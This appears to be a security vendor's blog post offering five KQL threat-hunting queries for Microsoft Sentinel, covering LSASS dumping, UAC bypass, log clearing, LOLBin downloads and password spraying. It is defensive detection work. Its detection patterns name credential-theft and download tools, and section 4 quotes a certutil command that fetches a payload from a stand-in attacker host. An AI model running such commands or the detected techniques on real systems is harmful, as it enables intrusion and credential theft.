← Blog · · df00tech

KQL Threat Hunting Queries for Microsoft Sentinel: A Practical Guide

KQL Microsoft Sentinel threat hunting Defender for Endpoint detection engineering

KQL (Kusto Query Language) is the backbone of threat hunting in Microsoft Sentinel and Defender for Endpoint. But there’s a gap between knowing KQL syntax and writing queries that actually catch adversary behavior. Most “KQL hunting query” lists give you generic examples. This guide gives you real, production-tested detection queries with explanations of the threat logic behind each one.

All queries below are from the df00tech detection library and are ready to run in your Sentinel workspace.

1. Detecting LSASS Credential Dumping (T1003.001)

LSASS memory contains NTLM hashes, Kerberos tickets, and sometimes plaintext passwords for every logged-in user. Dumping it is the single most impactful credential theft technique — used by Mimikatz, Cobalt Strike, Volt Typhoon, APT38, and virtually every ransomware operator.

The challenge: many legitimate processes access LSASS (EDR agents, antivirus, authentication services). The detection needs to distinguish legitimate access from malicious dumping.

let SuspiciousLsassAccess = DeviceEvents
| where Timestamp > ago(24h)
| where ActionType == "ProcessAccessed"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ (
    "MsMpEng.exe", "csrss.exe", "services.exe", "lsm.exe",
    "svchost.exe", "winlogon.exe", "wmiprvse.exe", "wininit.exe",
    "SecurityHealthService.exe", "SenseIR.exe"
  )
| where InitiatingProcessGrantedAccessMask in (
    "0x1fffff", "0x1f3fff", "0x143a", "0x1410", "0x1010", "0x40"
  )
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine,
          InitiatingProcessAccountName,
          InitiatingProcessGrantedAccessMask;

What this catches: Any non-whitelisted process opening a handle to LSASS with memory read permissions. The access mask filter is critical — 0x1fffff (PROCESS_ALL_ACCESS) and 0x1010 (PROCESS_QUERY_INFORMATION + PROCESS_VM_READ) are the masks Mimikatz and ProcDump use. Legitimate monitoring tools typically use lower-privilege access.

How to use it: Run this as a scheduled hunting query. Any results should be investigated immediately — a non-system process accessing LSASS with these masks is almost always malicious. Check the initiating process hash against threat intel, look for dump files in Temp directories, and check for lateral movement from the affected host.

The full T1003.001 detection adds two more branches: comsvcs.dll MiniDump via rundll32 and ProcDump targeting LSASS, covering the major LOLBin-based dumping methods.

2. Hunting UAC Bypass Techniques (T1548.002)

UAC bypass is a standard privilege escalation step in virtually every Windows attack chain. Attackers abuse auto-elevating Windows binaries — programs that Windows trusts to run elevated without a UAC prompt — to execute arbitrary code at high integrity.

let UACBypassBinaries = dynamic([
  "eventvwr.exe", "fodhelper.exe", "sdclt.exe", "cmstp.exe",
  "wsreset.exe", "computerdefaults.exe", "slui.exe"
]);

DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName has_any (UACBypassBinaries)
| where FileName !in~ ("conhost.exe", "WerFault.exe", "dwm.exe")
| project Timestamp, DeviceName, AccountName, FileName,
          ProcessCommandLine, InitiatingProcessFileName,
          InitiatingProcessCommandLine;

What this catches: Auto-elevating binaries spawning unexpected child processes. When fodhelper.exe or eventvwr.exe spawns cmd.exe or powershell.exe, that’s a UAC bypass in progress. The UACME project documents 70+ bypass methods — most abuse this auto-elevation trust.

How to use it: This query has an extremely low false positive rate. In a normal environment, fodhelper.exe should never spawn child processes. Any hit is worth immediate investigation. Check what registry keys were modified before the bypass (the attacker sets HKCU\Software\Classes\ms-settings\Shell\Open\command to point to their payload).

The complete T1548.002 detection adds registry monitoring and CMSTPLUA COM interface abuse detection for broader coverage.

3. Detecting Event Log Clearing (T1070.001)

Attackers clear Windows Event Logs to cover their tracks. This is one of the most reliable indicators of a completed compromise — legitimate administrators rarely clear Security or System logs during normal operations.

SecurityEvent
| where TimeGenerated > ago(24h)
| where EventID == 1102
| project TimeGenerated, Computer, Account, Activity, EventData
| union (
    Event
    | where TimeGenerated > ago(24h)
    | where Source == "Microsoft-Windows-Eventlog"
    | where EventID == 104
    | project TimeGenerated, Computer, UserName, RenderedDescription
)
| union (
    DeviceProcessEvents
    | where Timestamp > ago(24h)
    | where FileName =~ "wevtutil.exe"
    | where ProcessCommandLine has_any ("cl ", "clear-log ", "clear ")
    | project Timestamp, DeviceName, AccountName, FileName,
             ProcessCommandLine,
             InitiatingProcessFileName,
             InitiatingProcessCommandLine
)
| sort by coalesce(TimeGenerated, Timestamp) desc

What this catches: Three complementary signals. Event ID 1102 fires when the Security log is cleared. Event ID 104 fires when other logs (System, Application) are cleared. The third branch catches wevtutil.exe with clear arguments — detecting the action even if the resulting log-cleared event is itself lost.

How to use it: This should be a scheduled analytic rule, not just a hunting query. Any log clearing outside a documented maintenance window is suspicious. APT28, APT38, LockBit, BlackCat, and NotPetya all clear event logs as standard post-compromise cleanup.

See the full T1070.001 detection for the SPL equivalent and complete response playbook.

4. Ingress Tool Transfer via LOLBins (T1105)

After initial access, attackers need to bring tools into the environment. Rather than dropping executables through the initial exploit, sophisticated actors use built-in Windows utilities — certutil, bitsadmin, PowerShell, curl — to download second-stage payloads. These “living off the land binaries” (LOLBins) blend in with normal system activity.

let DownloadLolbins = dynamic([
    "certutil.exe", "bitsadmin.exe", "mshta.exe", "regsvr32.exe",
    "esentutl.exe", "expand.exe", "ftp.exe", "msiexec.exe"
]);

DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ (DownloadLolbins)
| where ProcessCommandLine has_any (
    "http://", "https://", "ftp://", "\\\\"
  )
  or (FileName =~ "certutil.exe" and ProcessCommandLine
      has_any ("-urlcache", "-decode", "-decodehex"))
  or (FileName =~ "bitsadmin.exe" and ProcessCommandLine
      has_any ("/transfer", "/addfile"))
| project Timestamp, DeviceName, AccountName, FileName,
          ProcessCommandLine, InitiatingProcessFileName,
          InitiatingProcessCommandLine;

What this catches: Windows system utilities being used to download files from remote locations. certutil -urlcache -split -f http://evil.com/payload.exe is a classic — certutil is a certificate management tool that happens to have HTTP download functionality. Similarly, bitsadmin /transfer abuses the Background Intelligent Transfer Service.

How to use it: Focus on the parent process. If certutil was spawned by cmd.exe which was spawned by a Word document, that’s a phishing payload delivering a second stage. If it was spawned by SCCM or Intune, it’s likely legitimate. The download URL is your most important triage data point — check it against threat intel immediately.

The full T1105 detection adds PowerShell download cradles and monitors for executable files being dropped in temp directories by these utilities.

5. Password Spraying Detection (T1110.003)

Password spraying is the preferred credential attack for targeting cloud environments. Unlike brute force (many passwords against one account), spraying tries one password against many accounts — staying below per-account lockout thresholds.

let SprayAccountThreshold = 10;
let BruteForceMaxPerAccount = 5;
let SprayWindow = 30m;

SigninLogs
| where TimeGenerated > ago(24h)
| where ResultType in (
    "50126",  // Invalid username or password
    "50053",  // Account locked out
    "50057"   // User account disabled
  )
| where IPAddress !in ("127.0.0.1", "::1")
| summarize
    FailureCount = count(),
    DistinctAccounts = dcount(UserPrincipalName),
    TargetAccounts = make_set(UserPrincipalName, 30),
    TargetApps = make_set(AppDisplayName, 10)
  by IPAddress, bin(TimeGenerated, SprayWindow)
| where DistinctAccounts >= SprayAccountThreshold
| extend AvgFailuresPerAccount =
    round(toreal(FailureCount) / toreal(DistinctAccounts), 2)
| where AvgFailuresPerAccount <= BruteForceMaxPerAccount
| sort by DistinctAccounts desc;

What this catches: A single IP address failing authentication against 10+ distinct accounts within a 30-minute window, with an average of 5 or fewer attempts per account. This pattern — wide breadth, low depth — is the signature of password spraying. The AvgFailuresPerAccount threshold is what separates this from brute force detection.

How to use it: When this fires, immediately check if any of the targeted accounts subsequently had a successful login from the same IP. Run: SigninLogs | where IPAddress == "<spray_ip>" | where ResultType == "0". A successful login after a spray is a confirmed compromise requiring immediate response — disable the account, revoke sessions, and investigate.

The full T1110.003 detection covers both Azure AD and on-premises Active Directory via Security Event 4625.

Building Your Hunting Practice

These five queries cover critical points in the attack chain: credential theft, privilege escalation, defense evasion, tool staging, and initial compromise. They’re a strong starting point, but they’re just five of 704 detections in the df00tech library.

A few principles for effective KQL threat hunting:

Hunt on a schedule. Ad-hoc hunting finds less than systematic, recurring hunts. Run these queries weekly at minimum, daily for critical techniques.

Tune for your environment. Every query has false positives. Add your known-good processes, IPs, and service accounts to exclusion lists. But document every exclusion — they become blind spots.

Automate what works. Once a hunting query consistently finds real threats (or consistently returns clean), convert it to a scheduled analytic rule. Hunting is for discovering; analytics are for continuous monitoring.

Layer your detections. No single query catches everything. The T1003.001 detection uses three branches because attackers have multiple ways to dump LSASS. Think in terms of detection coverage, not single rules.

Browse the complete detection library at df00tech.com/detections — every query is free to view, copy, and deploy. For response playbooks, atomic tests, and tuning guidance, check out df00tech Pro.